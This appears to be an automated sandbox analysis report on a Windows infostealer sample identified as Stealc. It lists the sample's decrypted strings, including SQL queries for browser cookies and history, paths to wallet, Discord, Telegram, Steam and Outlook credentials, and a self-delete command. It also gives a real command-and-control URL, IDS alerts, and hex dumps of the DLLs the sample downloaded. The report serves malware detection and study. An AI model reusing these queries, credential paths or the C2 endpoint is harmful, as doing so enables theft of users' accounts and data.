Source: 0.2.file.exe.df0000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: guid
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: plugins
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Local State
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: chrome
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: opera
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: firefox
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: wallets
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: ProductName
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: x32
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: x64
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: ProcessorNameString
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: - OS:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: - Language:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: All Users:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Current User:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Process List:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: .exe
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: runas
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: open
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: /c start
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: files
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: \discord\
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: key_datas
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: map*
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Telegram
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Tox
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: *.tox
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: *.ini
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Password
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: 00000001
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: 00000002
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: 00000003
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: 00000004
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: token:
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: \config\
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: browsers
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: done
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: soft
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: https
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: POST
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: hwid
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: build
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: token
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: file_name
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: file
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: message
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.df0000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9D6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C9D6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.95.31.18:443 -> 192.168.2.6:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49966 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2657713425.000000006CBFF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2629516895.0000000000E1C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2171006516.000000000585B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2657968965.000000006CCC1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2629516895.0000000000E1C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2171006516.000000000585B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2657968965.000000006CCC1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2657713425.000000006CBFF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 31MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49710
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49710
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49710 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic

TCP traffic: 192.168.2.6:49690 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 14:59:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 14:59:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 14:59:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 